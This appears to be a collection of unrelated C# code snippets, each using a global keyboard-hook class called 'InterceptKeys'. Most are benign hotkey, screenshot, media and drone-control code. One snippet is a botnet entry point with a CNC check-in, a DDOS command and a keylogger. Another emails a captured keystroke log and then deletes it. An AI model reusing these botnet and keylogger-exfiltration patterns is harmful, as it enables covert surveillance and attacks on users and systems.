private async void Form1_Load(object sender, EventArgs e) { if (!Auth()) { Application.Exit(); return; } // togeather this.WindowState = FormWindowState.Minimized; this.ShowInTaskbar = false; InterceptKeys.SetHooks( CaptureScreen, // Ctrl+Shift+2 @ CaptureArea, // Ctrl+Shift+3 # SelectAndUploadFiles, // Ctrl+Shift+6 ^ _uploadCancellationTokenSource.Token ); // notifyIcon1_MouseClick(sender, new MouseEventArgs(MouseButtons.Right, 0, 0, 0, 0)); this.checkBox_EditBeforeUpload.Checked = bool.Parse(_account.EditBeforeUpload); new ToolTip { ShowAlways = true, InitialDelay = 1, AutoPopDelay = 10000 }.SetToolTip(this.checkBox_EditBeforeUpload, $@"'Edit' form will be shown before uploading"); notifyIcon1.ShowBalloonTip(250, $"Good day, {_account.Email.Split('@')[0]}!", "Sharer is working in the background.", ToolTipIcon.Info); if (_openWithSharerFileUploadPath != null) { await UploadPath(_openWithSharerFileUploadPath, this, CancellationToken.None); } }
public LoggerViewModel() { // initialize the screen counter matrix double w = SystemParameters.PrimaryScreenWidth; double h = SystemParameters.PrimaryScreenHeight; _width = (int)w / CellWidth; _height = (int)h / CellHeight; _screenCount = new int[_width, _height]; _directionCount = new int[360]; _speedCount = new int[100]; InitBitmap(); _lastPoint = WindowHelper.GetCursorPos(); watch = new Stopwatch(); watch.Start(); _timer = new DispatcherTimer(); _timer.Interval = TimeSpan.FromMilliseconds(100); _timer.Tick += timer_Tick; _timer.Start(); Hook.CreateKeyboardHook(KeyReader); _keys = new InterceptKeys(); _mouse = new InterceptMouse(MouseHandler); }
private void FormMain_Load(object sender, EventArgs e) { formCommands = new FormCommands(); formCommands.Show(); this.WriteConsole("F10: globale Start/Stop"); string game = Properties.Settings.Default.game; string server = Properties.Settings.Default.server; string room = Properties.Settings.Default.room; string user = Properties.Settings.Default.user; string password = Properties.Settings.Default.password; string nickserv = Properties.Settings.Default.nickserv; wait = Properties.Settings.Default.keyWait; textBoxGame.Text = game; textBoxServer.Text = server; textBoxRoom.Text = room; textBoxUser.Text = user; textBoxPassword.Text = password; textBoxNickserv.Text = nickserv; numericUpDownKeyWait.Value = wait; interceptKeys = new InterceptKeys(this); interceptKeys.Start(); ReloadKeybinds(); }
public RMServer() { InterceptKeys ic = new InterceptKeys(); ic.HandleKey = (k, d) => { if (k == Keys.F1 && d) { sendMouse ^= true; return; } const int size = 5; byte[] send = new byte[size]; send[0] = d ? (byte)1 : (byte)0; BitConverter.GetBytes((int)k).CopyTo(send, 1); c.Send(send, size, Constants.BROADCAST, Constants.PORT); Console.WriteLine($"{(d ? "Down" : "Up")} {k}"); }; if (hHook == IntPtr.Zero) { Task.Run(() => { MouseHookProcedure = new DLLImport.HookProc(HandleMouse); using (Process curProcess = Process.GetCurrentProcess()) using (ProcessModule curModule = curProcess.MainModule) { hHook = DLLImport.SetWindowsHookEx(Constants.WH_MOUSE_LL, MouseHookProcedure, DLLImport.GetModuleHandle(curModule.ModuleName), 0); } Application.Run(); }); } _ = StartServer(); }
private void OnGotFocus(object?sender, GotFocusEventArgs e) { InterceptKeys.Run(); _vm.HotKey = new HotKey(); InterceptKeys.KeyDown += key => { if (key == (int)Keys.Delete) { ClearHotKey(); return; } if (KeyState.DefaultModifiers.Contains(key) && _vm.HotKey.Modifiers.All(x => x != key)) { _vm.HotKey.Modifiers.Add(key); } else if (!KeyState.DefaultModifiers.Contains(key)) { _vm.HotKey.Key = key; } _vm.SetKeys(); }; }
static void Main(string[] args) // Main du Botnet { //Envoi des données au CNC de façon ASYNCHRONE (Apache et MySQL doivent être démarrés en local avec les bons scripts): Initialization initialiser = new Initialization(); Task test = initialiser.sendInfoToCNCAsync(); //TODO: étudier comment correctement utiliser une fonction asynchrone en C#, pas sûr que je m'y prenne de la bonne manière //Exctraction des actions, target et arguments envoyés: ProtocolController ptclctl = new ProtocolController("<SOC><CMD>DDOS</CMD><TARGET>127.0.0.1</TARGET><ARG1>UDP</ARG1><ARG2>1500</ARG2><EOC>"); Console.WriteLine("Action: " + ptclctl.action + "\n"); Console.WriteLine("Target: " + ptclctl.target + "\n"); foreach (string str in ptclctl.arguments) { Console.WriteLine(str); } Console.Read(); Console.ReadKey(); InterceptKeys interceptor = new InterceptKeys(); interceptor.start(); //Initialisation d'un objet ServerConnectors "sc" avec les informations les plus importantes: ip et port d'écoute: ServerConnectors sc = new ServerConnectors(IPAddress.Parse("127.0.0.1"), 2107); //Mise en écoute du socket grâce à la méthode ListenAndReceiveData() de l'objet "sc": sc.ListenAndReceiveData(); Console.ReadKey(); }
public static void Initialize() { _Flipper = new Flipper(TimeSpan.FromMilliseconds(300), delegate { }); InterceptKeys.Hook(); InterceptKeys.KeyPressed += InterceptKeys_KeyPressed; }
private IntPtr HookCallbackInner(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0) { if (wParam == (IntPtr)InterceptKeys.WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); if (KeyDown != null) { KeyDown(this, new RawKeyEventArgs(vkCode, false)); } } else if (wParam == (IntPtr)InterceptKeys.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); if (KeyUp != null) { KeyUp(this, new RawKeyEventArgs(vkCode, false)); } } } return(InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam)); }
/// <summary> /// Detach the keyboard hook; call during shutdown to prevent calls as we unload /// </summary> private static void DetachKeyboardHook() { if (_hookID != IntPtr.Zero) { InterceptKeys.UnhookWindowsHookEx(_hookID); } }
public static void Run() { InterceptKeys.callback = new InterceptKeys.CallBack(MySelector); InterceptKeys._hookID = InterceptKeys.SetHook(InterceptKeys._proc); Application.Run(); InterceptKeys.UnhookWindowsHookEx(InterceptKeys._hookID); }
private void F_accueil_FormClosing(object sender, FormClosingEventArgs e) { if (to_be_saved == true && Is_Closing == false) { MessageBoxButtons buttons = MessageBoxButtons.YesNoCancel; DialogResult result = MessageBox.Show("Voulez-vous sauvegarder la proposition sous excel ?", "", buttons); if (result == DialogResult.Yes) { closing = e; Is_Closing = true; } else if (result == DialogResult.No) { //Program.Connection_COQUE.close_COQUE(); InterceptKeys.UnhookWindowsHookEx(InterceptKeys.Key_hookID); InterceptKeys.UnhookWindowsHookEx(InterceptKeys.Click_hookID); //fEnvoiMail(); to_be_saved = false; Application.Exit(); } else if (result == DialogResult.Cancel) { e.Cancel = true; } } else { InterceptKeys.UnhookWindowsHookEx(InterceptKeys.Key_hookID); InterceptKeys.UnhookWindowsHookEx(InterceptKeys.Click_hookID); //fEnvoiMail(); Application.Exit(); } }
public LoggerViewModel() { // initialize the screen counter matrix double w = SystemParameters.PrimaryScreenWidth; double h = SystemParameters.PrimaryScreenHeight; _width = (int)w / CellWidth; _height = (int)h / CellHeight; _screenCount = new int[_width, _height]; _directionCount = new int[360]; _speedCount = new int[100]; InitBitmap(); _lastPoint = WindowHelper.GetCursorPos(); watch = new Stopwatch(); watch.Start(); _timer = new DispatcherTimer(); _timer.Interval = TimeSpan.FromMilliseconds(100); _timer.Tick += timer_Tick; _timer.Start(); Hook.CreateKeyboardHook(KeyReader); _keys = new InterceptKeys(); _mouse = new InterceptMouse(MouseHandler); }
private void frmMain_Load(object sender, EventArgs e) { InterceptKeys.sendUdpPackets = (int)nutUdpPackets.Value; InterceptKeys.main = this; InterceptKeys.start(); //switchMode(false); }
IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0) { if (wParam == (IntPtr)InterceptKeys.WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); // tb3.Text = string.Format("{0} {1} {2} DN", nCode, wParam, vkCode); } else if (wParam == (IntPtr)InterceptKeys.WM_KEYUP) { if (Marshal.ReadInt32(lParam) == 179) { var vm = (DdjViewModel)DataContext; if (vm.TglPlayPausACmd.CanExecute(null)) { vm.TglPlayPauseCmd.Execute(null); } } } } PreviewKeyUp += (s, e) => { if (e.Key == Key.Escape) { Close(); /* messes up Cancel on save: App.Current.Shutdown();*/ } e.Handled = true; }; //tu: !KeyDown - blocks all keystrokes!!!!!!! ...probably because of e.Handled = true; MouseLeftButtonDown += (s, e) => { DragMove(); e.Handled = true; }; return(InterceptKeys.CallNextHookEx(InterceptKeys._hookID, nCode, wParam, lParam)); }
IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { Bpr.BeepOk(); //tb3.Text = string.Format("{0} {1}", nCode, wParam); if (nCode >= 0) { if (wParam == (IntPtr)InterceptKeys.WM_KEYDOWN) { int vkCode = Marshal.ReadInt32(lParam); tb3.Text = $"{nCode} {wParam} {vkCode} DN"; Debug.WriteLine(/*(Keys)*/ vkCode, "DN >>>>>>"); } else if (wParam == (IntPtr)InterceptKeys.WM_KEYUP) { int vkCode = Marshal.ReadInt32(lParam); tb4.Text = $"{nCode} {wParam} {vkCode} UP"; Debug.WriteLine(/*(Keys)*/ vkCode, "UP >>>>>>"); } } KeyDown += (s, e) => { if (e.Key == Key.Escape) { Close(); /* messes up Cancel on save: App.Current.Shutdown();*/ } e.Handled = true; }; //tu: MouseLeftButtonDown += (s, e) => { DragMove(); e.Handled = true; }; return(InterceptKeys.CallNextHookEx(InterceptKeys._hookID, nCode, wParam, lParam)); }
public Form1() { InitializeComponent(); label2.Text = "Return Takeoff\n" + " Space Motors OFF (be careful - drone falls out off the sky!!!)\n" + " I Fly forward\n" + " , Fly backward\n" + " J Fly leftward\n" + " L Fly rightward\n" + " K Hover\n" + " W Fly 5cm higher\n" + " S Fly 5cm lower\n" + " A Rotate 5 degrees anticlockwise\n" + " D Rotate 5 degrees clockwise\n" + "\n" + "Note: All keypresses on this PC are captured, even if this window is not active!!!\n"; lblState.Text = string.Format("Start 'fly' on the drone then press Space to connect..."); label1.Text = string.Format(""); lblPos.Text = string.Format(""); log = new UdpLogger(7778, string.Format("{0:yyyyMMddHHmmss}_navlog.csv", DateTime.Now)); timer1.Interval = 250; timer1.Enabled = true; InterceptKeys.Start(KeyDownCallback); }
public MainPlayerView() { InitializeComponent(); AppSettings.RestoreSizePosition(this, Settings.Default.AppSettings); InterceptKeys.DoHook(_hookCallback = HookCallback); }
public override void OnClosing() { InterceptKeys keys = InterceptKeys.Instance; keys.RemoveRef(); keys.OnKeyDown -= InterceptKeys_OnInterceptKeyDown; keys.OnKeyUp -= InterceptKeys_OnInterceptKeyUp; KeyPress.IsConfigOpen = false; }
// Release any resources taken up by the components public override void UnloadContent() { ScreenManager.Game.Components.Remove(bciControl); bciControl.Dispose(); ScreenManager.Game.Components.Remove(ssvepDX); ssvepDX.Dispose(); InterceptKeys.Unhook(); base.UnloadContent(); }
private void OnLostFocus(object?sender, RoutedEventArgs e) { InterceptKeys.Stop(); InterceptKeys.KeyDown = null; if (_vm.HotKey.Key == 0) { ClearHotKey(); } }
// private List<string> words = commaWords.Split(','); public FindImageInScreenShot() { this.InitializeComponent(); this.screenShotsManager = new ScreenShotsManager(); InterceptKeys.OnKeyDown += this.InterceptKeys_OnKeyDown; InterceptKeys.Start(); InterceptMouse.OnMouseLeftButtonDown += this.InterceptMouse_OnMouseLeftButtonDown; InterceptMouse.Start(); }
private static IntPtr HookCallbackInner(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0) { if (wParam == (IntPtr)InterceptKeys.WM_KEYDOWN || wParam == (IntPtr)InterceptKeys.WM_KEYUP) { KeyEvent?.Invoke(KeyInterop.KeyFromVirtualKey(Marshal.ReadInt32(lParam)), wParam == (IntPtr)InterceptKeys.WM_KEYDOWN); } } return(InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam)); }
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { try { return(HookCallbackInner(nCode, wParam, lParam)); } catch { Debugger.Break(); } return(InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam)); }
private IntPtr HookCallback( int nCode, IntPtr wParam, IntPtr lParam) { try { return(HookCallbackInner(nCode, wParam, lParam)); } catch { Console.WriteLine("There was some error somewhere..."); } return(InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam)); }
public void Sender() { Email envio = new Email(); if (VerificarConexao()) { if (tamanho()) { envio.enviar(); deleta(); InterceptKeys.DataInicialDeArquivo(); } } }
public static void Main() { watch = new Stopwatch(); InterceptKeys.Hook(); //Вешаем хук. InterceptKeys.KeyDown += InterceptKeys_KeyDown; //событие "Клавиша нажата". InterceptKeys.KeyUp += InterceptKeys_KeyUp; //событие "Клавиша отпущена". //InterceptKeys.KeyEvent += InterceptKeys_KeyEvent; //тоже можно юзать, но имхо такое //List<Keys> PressedKeys = InterceptKeys.KeysDown; //Получаем список зажатых в настоящий момент клавиш. //InterceptKeys.KeyState IsCtrlPressed = //InterceptKeys.GetState(Keys.ControlKey); //Получаем состояние клавиши CTRL Application.Run(); InterceptKeys.UnHook(); //Снимаем хук. }
public void Activate() { Program.MainWindow.MenuShortcuts = false; if (rdpControl != null) { if (!rdpControl.Focused) { rdpControl.Select(); } InterceptKeys.releaseKeys(); InterceptKeys.grabKeys(new InterceptKeys.KeyEvent(handleRDPKey), true); } }
public override void OnLoad() { KeyPress.IsConfigOpen = true; InterceptKeys keys = InterceptKeys.Instance; keys.AddRef(); keys.OnKeyDown += InterceptKeys_OnInterceptKeyDown; keys.OnKeyUp += InterceptKeys_OnInterceptKeyUp; UpdateKeysDown(); shouldCheckValidity = true; }
public Controller() { _random = new Random(); try { _hookID = InterceptKeys.SetHook(_proc); } catch { DetachKeyboardHook(); } InitializeComponent(); }
static void Main() { InterceptKeys.SetupHook(KeyDown); while (true) { ConsoleKey key = Console.ReadKey(true).Key; Console.WriteLine("ReadKey: " + key); if (key == ConsoleKey.Escape) { break; } } InterceptKeys.ReleaseHook(); }
public KeyViewer() { InitializeComponent(); KeyDown += (s, e) => { if (e.Key == Key.Escape) { Close(); /* messes up Cancel on save: App.Current.Shutdown();*/ } e.Handled = true; }; //tu: MouseLeftButtonDown += (s, e) => { DragMove(); e.Handled = true; }; PreviewKeyDown += KeyViewer_PreviewKeyDn; PreviewKeyUp += KeyViewer_PreviewKeyUp; InterceptKeys.DoHook(_hookCallback = HookCallback); }